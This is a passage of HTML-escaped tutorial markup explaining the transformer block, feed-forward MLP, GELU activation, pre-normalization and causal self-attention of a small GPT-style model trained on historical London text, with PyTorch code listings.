&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mlp &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; SimpleMLP(config)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;attn(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ln_1(x))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; x &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;+&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;mlp(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ln_2(x))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; x&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 2: Transformer Block Implementation&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;This code implements a single transformer block, which, as we know, is the fundamental building unit of our GPT model.&lt;/p&gt;
&lt;h4 id=&#34;231-self-attention-step&#34;&gt;2.3.1 Self-Attention Step&lt;/h4&gt;
&lt;p&gt;The self-attention step (&lt;strong&gt;&lt;code&gt;x = x + self.attn(self.ln_1(x))&lt;/code&gt;&lt;/strong&gt;) is the block that first normalizes the input with LayerNorm, then applies self-attention to understand relationships between words. The &lt;code&gt;+&lt;/code&gt; creates a &amp;ldquo;residual connection&amp;rdquo; that helps information flow through the network.&lt;/p&gt;
&lt;p&gt;As we discussed in &lt;a
	
		href = &#34;#214-gpt-architecture-components&#34;
	

	

	&gt;
	
	&lt;span&gt;
		section 2.1.4
	&lt;/span&gt;
&lt;/a&gt;, self-attention is the &amp;ldquo;magic&amp;rdquo; of transformers, allowing each token to decide how much attention to pay to every other token in the sequence. Our implementation uses multiple attention heads (12 for SLM, 16 for Regular) that operate in parallel, with each head learning to focus on different types of relationships - syntactic, semantic, or positional. Causal masking ensures that during training, the model learns to predict the next token based solely on the preceding context, which is essential for coherent text generation.&lt;/p&gt;
&lt;p&gt;The residual connection (&lt;strong&gt;&lt;code&gt;+&lt;/code&gt;&lt;/strong&gt;) is crucial, as it allows the model to preserve the original token representation while adding contextual information from the attention. The pre-normalization approach (LayerNorm before attention) provides more stable training than post-normalization, especially important when working with the varied linguistic patterns found in historical text.&lt;/p&gt;
&lt;h4 id=&#34;232-feed-forward-step&#34;&gt;2.3.2 Feed-Forward Step&lt;/h4&gt;
&lt;p&gt;After attention, we have the feed-forward step (&lt;strong&gt;&lt;code&gt;x = x + self.mlp(self.ln_2(x))&lt;/code&gt;&lt;/strong&gt;), which first normalizes the attended information with LayerNorm, then passes it through a multi-layer perceptron (MLP) that transforms and processes it.&lt;/p&gt;
&lt;p&gt;The MLP typically consists of two linear layers with a non-linear activation function (like GELU) between them, allowing the model to learn complex non-linear transformations of the attended features. This step is crucial because attention can only perform linear transformations on the input representations; the feed-forward network adds the necessary non-linearity, enabling the model to learn complex patterns and relationships in the historical text. Another residual connection preserves the original information, ensuring that the model can always fall back to the pre-attention representation if needed.&lt;/p&gt;
&lt;h4 id=&#34;233-understanding-the-feed-forward-mlp-sublayer&#34;&gt;2.3.3 Understanding the Feed-Forward (MLP) Sublayer&lt;/h4&gt;
&lt;p&gt;Directly beneath the &lt;code&gt;SimpleBlock&lt;/code&gt; code above, you see the line &lt;code&gt;self.mlp = SimpleMLP(config)&lt;/code&gt;. After attention has mixed information across positions, the model passes each token embedding through a position-wise feed-forward network (the MLP). Unlike attention, it does not look at other tokens; it refines the representation of each token independently, given the contextualized features attention just produced. In practice, this is where raw contextual patterns are distilled into richer semantic, stylistic, and morphological signals.&lt;/p&gt;
&lt;p&gt;&lt;a href=&#34;#fig4&#34; class=&#34;figure-ref&#34;&gt;Figure 4&lt;/a&gt; below visualizes how a single transformer block routes data through normalization, attention, and the feed-forward expansion/contraction before returning an upgraded representation via the residual path:&lt;/p&gt;
&lt;figure class=&#34;align-center &#34; id=&#34;fig4&#34;&gt;
    &lt;pre class=&#34;mermaid&#34;&gt;graph TB
    A[Input Embeddings&amp;lt;br/&amp;gt;batch, seq, emb] --&amp;gt; LN1[LayerNorm 1]
    LN1 --&amp;gt; ATTN[Multi-Head Attention&amp;lt;br/&amp;gt;query, key, value]
    ATTN --&amp;gt; DROPA[Dropout]
    DROPA --&amp;gt; RES1[Residual Add&amp;lt;br/&amp;gt;x + attn_out]
    RES1 --&amp;gt; LN2[LayerNorm 2]
    RES1 --&amp;gt; LN2
    LN2 --&amp;gt; EXPAND[Linear Expand&amp;lt;br/&amp;gt;emb → 4*emb]
    EXPAND --&amp;gt; GELU[GELU Activation]
    GELU --&amp;gt; PROJECT[Linear Project&amp;lt;br/&amp;gt;4*emb → emb]
    PROJECT --&amp;gt; DROPM[Dropout]
    DROPM --&amp;gt; RES2[Residual Add&amp;lt;br/&amp;gt;res1 + mlp_out]
    RES2 --&amp;gt; OUT[Block Output&amp;lt;br/&amp;gt;Updated embeddings]
    style A fill:#e1f5fe
    style ATTN fill:#f3e5f5
    style EXPAND fill:#fff3e0
    style PROJECT fill:#fff3e0
    style RES2 fill:#e8f5e8&lt;/pre&gt;
    &lt;figcaption&gt;Figure 4: Internal Flow of a Transformer Block&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;Conceptually, the MLP is a two-step projection: first, an expansion into a higher-dimensional &amp;ldquo;workspace&amp;rdquo; with a non-linear activation, then a projection back down so the residual can safely merge with the original stream.&lt;/p&gt;
&lt;p&gt;For our SLM, 768 dimensions expand to 3072 and then contract back to 768; for the larger model, 1024 dimensions expand to 4096. This temporary widening allows the network to express combinations of features that a purely linear transform could not capture. It is the difference between merely routing information and actually transforming it.&lt;/p&gt;
&lt;p&gt;Here is the representative structure shown in &lt;a href=&#34;#listing3&#34; class=&#34;listing-ref&#34;&gt;Listing 3&lt;/a&gt;:&lt;/p&gt;
&lt;figure id=&#34;listing3&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;SimpleMLP&lt;/span&gt;(torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, config):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;fc_in  &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, &lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;act    &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;GELU()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;fc_out &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(&lt;span style=&#34;color:#f5a97f&#34;&gt;4&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;drop   &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Dropout(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;forward&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, x):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;drop(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;fc_out(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;act(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;fc_in(x))))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 3: Feed-Forward (MLP) Sublayer Implementation&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;&lt;strong&gt;Why expand then shrink?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The widened hidden space allows the model to form intermediate feature bundles (e.g., tense, register, archaic morphology) that do not cleanly live in the original lower-dimensional basis. The contraction enforces a stable interface for the residual path and keeps the total parameter count manageable. Removing the expansion would noticeably degrade expressiveness; removing the contraction would balloon memory use and break architectural symmetry.&lt;/p&gt;
&lt;p&gt;In our context, the historical model internalizes regularities like mapping &amp;ldquo;hath&amp;rdquo; and &amp;ldquo;doth&amp;rdquo; into modern tense abstractions while still preserving period flavor; it encodes stylistic shifts between court proceedings, religious prose, and narrative storytelling; it stabilizes inconsistent orthography and variant spellings so downstream layers predict coherent continuations instead of brittle echoes. Attention tells the model where to look; the MLP decides how to reinterpret what it saw.&lt;/p&gt;
&lt;p&gt;Focusing only on attention gives an incomplete mental model of transformers. More than half of the parameters and a large fraction of the FLOPs sit in these feed-forward layers. Under-sized MLPs lead to shallow pattern memorization - models that can repeat phrases but cannot generalize style or adapt archaic forms to new contexts. Properly scaled MLP width (the common ×4 expansion) is a proven sweet spot: smaller factors underfit; much larger ones give diminishing returns at this scale (see scaling law discussions in &lt;a
	
		href = &#34;https://arxiv.org/abs/2001.08361&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kaplan et al. 2020
	&lt;/span&gt;
&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A useful mental analogy:&lt;/strong&gt; attention is the lively debate in a hall; the MLP is each participant stepping aside to integrate what was heard into their own refined understanding before the next round of discussion. When you see &lt;code&gt;x = x + self.mlp(self.ln_2(x))&lt;/code&gt;, that addition represents the moment a token&amp;rsquo;s contextual representation is upgraded. Without this transformation, the model would &amp;ldquo;hear&amp;rdquo; context but fail to internalize it, producing shallow, literal continuations rather than fluent, period-authentic prose.&lt;/p&gt;
&lt;p&gt;In our &lt;code&gt;helloLondon&lt;/code&gt; models, the MLP is therefore essential for converting raw multi-head attention patterns into durable historical linguistic competence - one of the quiet reasons the generated text feels coherent rather than stitched together.&lt;/p&gt;
&lt;p&gt;Each block in our model (12 for SLM, 24 for Regular) applies this same pattern, allowing the model to build an increasingly sophisticated understanding of historical language patterns as text flows through the layers.&lt;/p&gt;
&lt;p&gt;Each transformer block applies layer normalization before both the self-attention mechanism and the feed-forward network, followed by residual connections. This pre-normalization approach (as opposed to post-normalization) has been shown to provide more stable training, especially important when working with the varied linguistic patterns found in historical text.&lt;/p&gt;
&lt;h4 id=&#34;234-activation-choice-matters&#34;&gt;2.3.4 Activation choice matters&lt;/h4&gt;
&lt;p&gt;The activation function determines how the neural network processes information at each layer. Think of it as a &amp;ldquo;decision maker&amp;rdquo; that decides how much of each input signal to pass through to the next layer. The most common activation functions are ReLU (Rectified Linear Unit) and GELU (Gaussian Error Linear Unit).&lt;/p&gt;
&lt;p&gt;ReLU is simple and fast: it passes positive values unchanged and sets negative values to zero (&lt;code&gt;f(x) = max(0, x)&lt;/code&gt;). However, ReLU can be &amp;ldquo;harsh&amp;rdquo; - it completely cuts off negative signals, leading to &amp;ldquo;dead neurons&amp;rdquo; that never activate again. GELU is smoother and more sophisticated: it uses a Gaussian distribution to determine how much of each input to pass through (&lt;code&gt;f(x) = x * Φ(x)&lt;/code&gt; where Φ is the cumulative distribution function of a standard normal distribution). This creates a smooth, differentiable function that allows for more nuanced information processing.&lt;/p&gt;
&lt;p&gt;GELU offers smoother gradients and better calibration for language than plain ReLU. The smoother nature of GELU helps the model learn more subtle patterns in historical text, where the relationships between words and phrases can be complex and nuanced. Alternatives like SwiGLU can yield marginal gains in perplexity but increase implementation complexity - valuable in frontier systems, optional in educational builds like helloLondon. Modest dropout in the MLP further improves generalization on a corpus that, while sizable, is still modest relative to billion-token modern pretraining regimes.&lt;/p&gt;
&lt;h4 id=&#34;235-pre-vs-post-normalization&#34;&gt;2.3.5 Pre vs Post-normalization&lt;/h4&gt;
&lt;p&gt;In pre-normalization, we normalize the input before processing it (like we do here). In post-normalization, we&amp;rsquo;d process first, then normalize the output. Pre-normalization is like checking that your ingredients are properly prepared before cooking, while post-normalization is like seasoning after cooking - both work, but pre-normalization tends to yield more consistent results.&lt;/p&gt;
&lt;p&gt;This matters because historical texts contain complex syntactic structures and long-range dependencies that require sophisticated attention mechanisms. The residual connections ensure that information can flow directly through the network, helping the model learn to preserve important historical context across long sequences while still allowing the attention mechanism to focus on relevant historical details.&lt;/p&gt;
&lt;h3 id=&#34;24-causal-self-attention-for-historical-sequences&#34;&gt;2.4 Causal Self-Attention for Historical Sequences&lt;/h3&gt;
&lt;p&gt;The attention mechanism is crucial for understanding the complex relationships in historical text. Our implementation is based on the original transformer architecture from &lt;a
	
		href = &#34;https://arxiv.org/abs/1706.03762&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&amp;ldquo;Attention Is All You Need&amp;rdquo;
	&lt;/span&gt;
&lt;/a&gt; (Vaswani et al., 2017), but optimized for historical language patterns.&lt;/p&gt;
&lt;h4 id=&#34;understanding-multi-head-attention&#34;&gt;Understanding Multi-Head Attention&lt;/h4&gt;
&lt;p&gt;Multi-head attention runs several attention “heads” in parallel, allowing the model to focus on different aspects of a sequence simultaneously (syntax, semantics, and position). Compared to a single head, this parallelism yields richer representations—think multiple specialists examining the same text. In our setup, the SLM uses 12 heads and the Regular model 16, scaling capacity with model size. Empirically, heads tend to specialize (e.g., subject–verb agreement, word relations, word order), as observed by &lt;strong&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/1906.04341&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Clark et al. (2019) - &amp;ldquo;What Does BERT Look At?&amp;rdquo;
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Research by &lt;strong&gt;&lt;a
	
		href = &#34;https://arxiv.org/abs/2001.08361&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		Kaplan et al. (2020) Scaling Laws for Neural Language Models
	&lt;/span&gt;
&lt;/a&gt;&lt;/strong&gt; shows that the optimal number of attention heads scales with model size. For our 117M-parameter SLM, 12 heads provide sufficient parallel processing capacity, while our 354M-parameter Regular model benefits from 16 heads to capture more complex attention patterns.&lt;/p&gt;
&lt;p&gt;The attention mechanism has $O(n^2)$ complexity with respect to sequence length. This means that doubling our sequence length from 512 to 1024 tokens is a quadratic jump and requires &lt;strong&gt;4x&lt;/strong&gt; more memory for attention computations. This is why we carefully balance sequence length with available GPU memory and why techniques like &lt;a
	
		href = &#34;https://arxiv.org/abs/2205.14135&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		FlashAttention
	&lt;/span&gt;
&lt;/a&gt; (Dao et al., 2022) are so important for memory efficiency.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How the attention mechanism works in practice:&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The code in &lt;a href=&#34;#listing4&#34; class=&#34;listing-ref&#34;&gt;Listing 4&lt;/a&gt; shows how we implement the attention mechanism that we&amp;rsquo;ve been discussing. Here&amp;rsquo;s what happens step by step:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Input Processing&lt;/strong&gt;: The model receives a batch of sequences (B = batch size, T = sequence length, C = embedding dimension). For example, with our SLM: B=4, T=512, C=768.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Query, Key, Value Generation&lt;/strong&gt;: The input embeddings are transformed into three different representations - Query (Q), Key (K), and Value (V) - using a single linear layer that outputs 3×768 dimensions, then splits them.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Multi-Head Reshaping&lt;/strong&gt;: Each of Q, K, V is reshaped to separate the 12 attention heads, so each head gets its own 64-dimensional subspace (768 ÷ 12 = 64).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Attention Computation&lt;/strong&gt;: The scaled dot-product attention is computed, where each word &amp;ldquo;looks at&amp;rdquo; all previous words (causal masking) and decides how much attention to pay to each.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Output Assembly&lt;/strong&gt;: All attention head outputs are combined back into a single representation and projected through a final linear layer.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This implementation is optimized for historical text processing, using PyTorch&amp;rsquo;s efficient &lt;code&gt;scaled_dot_product_attention&lt;/code&gt; function with causal masking to ensure the model can only attend to previous tokens, not future ones.&lt;/p&gt;
&lt;figure id=&#34;listing4&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;class&lt;/span&gt; &lt;span style=&#34;color:#eed49f&#34;&gt;SimpleCausalSelfAttention&lt;/span&gt;(torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Module):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Simple causal self-attention&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;, config):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;super&lt;/span&gt;()&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;&lt;span style=&#34;color:#8aadf4&#34;&gt;__init__&lt;/span&gt;()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;assert&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;%&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Key, query, value projections for all heads, but in a batch&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;c_attn &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, &lt;span style=&#34;color:#f5a97f&#34;&gt;3&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;*&lt;/span&gt; config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Output projection&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;c_proj &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Linear(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd, bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Regularization&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;attn_dropout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Dropout(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;resid_dropout &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;nn&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;Dropout(config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout)
